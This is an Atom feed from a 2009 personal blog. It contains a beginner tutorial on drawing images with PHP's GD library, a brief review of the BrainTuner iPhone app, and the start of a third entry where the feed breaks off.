<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CUIESHk7eCp7ImA9WxJUFkw.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171</id><updated>2009-07-15T01:18:29.700+02:00</updated><title>Just a little bulbing :p</title><subtitle type="html">Programming, designing, gaming, gabbling and a little bulbing</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://bulbing.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>41</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><link rel="self" href="http://feeds.feedburner.com/bulbing" type="application/atom+xml" /><entry gd:etag="W/&quot;DkEER3c6eip7ImA9WxJVGUs.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-3013594227449644536</id><published>2009-07-06T12:17:00.009+02:00</published><updated>2009-07-07T13:03:26.912+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-07T13:03:26.912+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PHP" /><category scheme="http://www.blogger.com/atom/ns#" term="PHPGD" /><title>#1 Designing Rubik's cube in PHP: The basics, phpgd usage</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;Firstly I should introduce you one library we will need today. It's called phpgd and it brings some useful functions. We wouldn't get far without them so it's important to have this lib installed. In Linux you can simply install it using your add/remove application. Once you have it installed you can check if it's enabled using phpinfo(); &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/SlHSrQn3aoI/AAAAAAAAAWI/YqvFdeudFZY/s1600-h/scrn1.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 220px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/SlHSrQn3aoI/AAAAAAAAAWI/YqvFdeudFZY/s400/scrn1.png" alt="" id="BLOGGER_PHOTO_ID_5355293072558615170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Ok, let's say the phpgd is ready, what are the new possibilities you can do with that now? We will start with something simple for beginning. Keep in your mind that every line/polygon/whatever in the final image needs to be scripted first, so, first think than write. We will script a square on a blank screen now. There are 2 ways how to do it /I believe you are able to figure out any third/forth way but let's say there are only 2/. You can command four lines and position them so they make a square. Yeah, that's possible of course but fortunatelly there is a native function for rendering a square. My point is that if you aren't sure what you can/can't do, go through this list of all phpgd functions in the official php documentation http://php.net/manual/en/ref.image.php and find the best which fits your idea. Let's get back to what we started, firstly we need to define the blank image.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;&amp;lt;?php&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;/**&lt;br /&gt;* Blank image 400x400 using phpgd...&lt;br /&gt;*/&lt;br /&gt;// set the HTTP header type to PNG&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;header&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);font-size:130%;" &gt;"Content-type: image/png"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// set a new image 400x400px&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;imagecreatetruecolor&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;400&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;400&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// set the white color&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$white &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;imagecolorallocate&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;255&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;255&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;255&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// fill the image with white (defined in previous step) starting at position [0,0]&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;imagefill&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$white&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// send the new PNG image to the browser&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;ImagePNG&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// destroy the reference pointer to the image in memory to free up resources&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;ImageDestroy&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;span style="font-size:130%;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;span style="font-family:trebuchet ms;"&gt;This code doesn't need much explanation, the important things are mentioned in the comments. Maybe you are looking for the php ending tag ?&gt;. Well, it's not important to write it there, it's not a mistake. Both versions with/without this tag are acceptable. If you don't see the output in your browser, press ctrl+a so you select the image, it should went blue. Or fill the image with any other color than white. E.g. black: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;$black = imagecolorallocate($im, 0, 0, 0);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Let's move on now and script the square. We will use the function imagerectangle() &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:trebuchet ms;" &gt;imagerectangle ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color ) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The usage is pretty simple. The first parameter is the "image" (variable $im in our case). Next four pamaremeter are the coordinates. I should also mention that the [0;0] coordinate is the top left corner of the image. [400;400] is the bottom right corner of the image (in our case). So we can make a border around the image for instance... &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;&amp;lt;?php&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;/**&lt;br /&gt;* Blank image 400x400 with a black sqare on it using phpgd...&lt;br /&gt;*/&lt;br /&gt;// set the HTTP header type to PNG&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;header&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);font-size:130%;" &gt;"Content-type: image/png"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// set a new image 400x400px&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;imagecreatetruecolor&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;400&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;400&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// set the colors&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$white &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;imagecolorallocate&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;255&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;255&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;255&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$black &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;imagecolorallocate&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// fill the image with white (defined in previous step) starting at position [0,0]&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;imagefill&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$white&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// make a border around the image&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;imagerectangle&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;399&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;399&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$black&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// send the new PNG image to the browser&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;ImagePNG&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);font-size:130%;" &gt;// destroy the reference pointer to the image in memory to free up resources&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;ImageDestroy&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);font-size:130%;" &gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);font-size:130%;" &gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;span style="font-size:130%;"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;span style="font-family:trebuchet ms;"&gt;This brings a nice black square. I think I should say a few words about setting the colors in phpgd. The function imagecolorallocate() has four parameters. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:trebuchet ms;" &gt;imagecolorallocate ( resource $image , int $red , int $green , int $blue ) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;This function returns a color identifier representing the color composed of the given RGB components. The first parameter defines the "image", next three define the color. These parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF. So how would you define for example a blue color? Simply... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$blue &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;imagecolorallocate&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;255&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$darkblue &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;imagecolorallocate&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;100&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$lightblue &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;imagecolorallocate&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$im&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;100&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;100&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;255&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I added a light blue and dark blue color, I hope it helps you to understand how it works. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I think that's enough for today. Next time we will script a cube and make it all a little more "universal". So see you&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-3013594227449644536?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=SMJmSbV1lYM:3eOnphWgiEE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=SMJmSbV1lYM:3eOnphWgiEE:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=SMJmSbV1lYM:3eOnphWgiEE:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=SMJmSbV1lYM:3eOnphWgiEE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=SMJmSbV1lYM:3eOnphWgiEE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=SMJmSbV1lYM:3eOnphWgiEE:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=SMJmSbV1lYM:3eOnphWgiEE:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/3013594227449644536/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=3013594227449644536" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/3013594227449644536?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/3013594227449644536?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/SMJmSbV1lYM/1-designing-rubiks-cube-in-php-basics.html" title="#1 Designing Rubik's cube in PHP: The basics, phpgd usage" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_y9bIz6XDw14/SlHSrQn3aoI/AAAAAAAAAWI/YqvFdeudFZY/s72-c/scrn1.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2009/07/1-designing-rubiks-cube-in-php-basics.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak8MSHY4cSp7ImA9WxJVFk8.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-7676925644410084351</id><published>2009-07-01T19:00:00.010+02:00</published><updated>2009-07-03T15:48:09.839+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-03T15:48:09.839+02:00</app:edited><title>Brain Tuner - Give your brain a tune-up</title><content type="html">&lt;span style="font-size:100%;"&gt;&lt;span style="font-family: trebuchet ms;"&gt;BrainTuner is a free app for iPhone which tests how fast you are in counting. The interface is really easy to navigate. Firstly you select the mode. It depends on how many problems you want to solve, but you have to choose among 20/50/100 problems. Every mode has its own "best time". After you start the game, you have to decide whether the equations are right or wrong. It's quite addictive after a while.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/SkubE7Yk1RI/AAAAAAAAAT8/YzILUrJ9hZk/s1600-h/IMG_0018.PNG"&gt;&lt;img style="cursor: pointer; width: 256px; height: 376px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/SkubE7Yk1RI/AAAAAAAAAT8/YzILUrJ9hZk/s400/IMG_0018.PNG" alt="" id="BLOGGER_PHOTO_ID_5353543091022517522" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SkubEsaOEjI/AAAAAAAAAT0/SDWBk191dgE/s1600-h/IMG_0017.PNG"&gt;&lt;img style="cursor: pointer; width: 256px; height: 376px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SkubEsaOEjI/AAAAAAAAAT0/SDWBk191dgE/s400/IMG_0017.PNG" alt="" id="BLOGGER_PHOTO_ID_5353543087002882610" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;My personal best time for the 20 problems is 9.36 seconds, I don't know if it's good or bad, you can let me know in the comments.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-7676925644410084351?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=_o6txiYs-aE:swGvFdefQDE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=_o6txiYs-aE:swGvFdefQDE:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=_o6txiYs-aE:swGvFdefQDE:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=_o6txiYs-aE:swGvFdefQDE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=_o6txiYs-aE:swGvFdefQDE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=_o6txiYs-aE:swGvFdefQDE:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=_o6txiYs-aE:swGvFdefQDE:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/7676925644410084351/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=7676925644410084351" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/7676925644410084351?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/7676925644410084351?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/_o6txiYs-aE/brain-tuner-give-your-brain-tune-up.html" title="Brain Tuner - Give your brain a tune-up" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_y9bIz6XDw14/SkubE7Yk1RI/AAAAAAAAAT8/YzILUrJ9hZk/s72-c/IMG_0018.PNG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2009/07/brain-tuner-give-your-brain-tune-up.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkADSHYycCp7ImA9WxJQEUs.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-6425374523517647459</id><published>2009-05-03T12:29:00.009+02:00</published><updated>2009-05-24T14:39:39.898+02:00</updated><app:edited 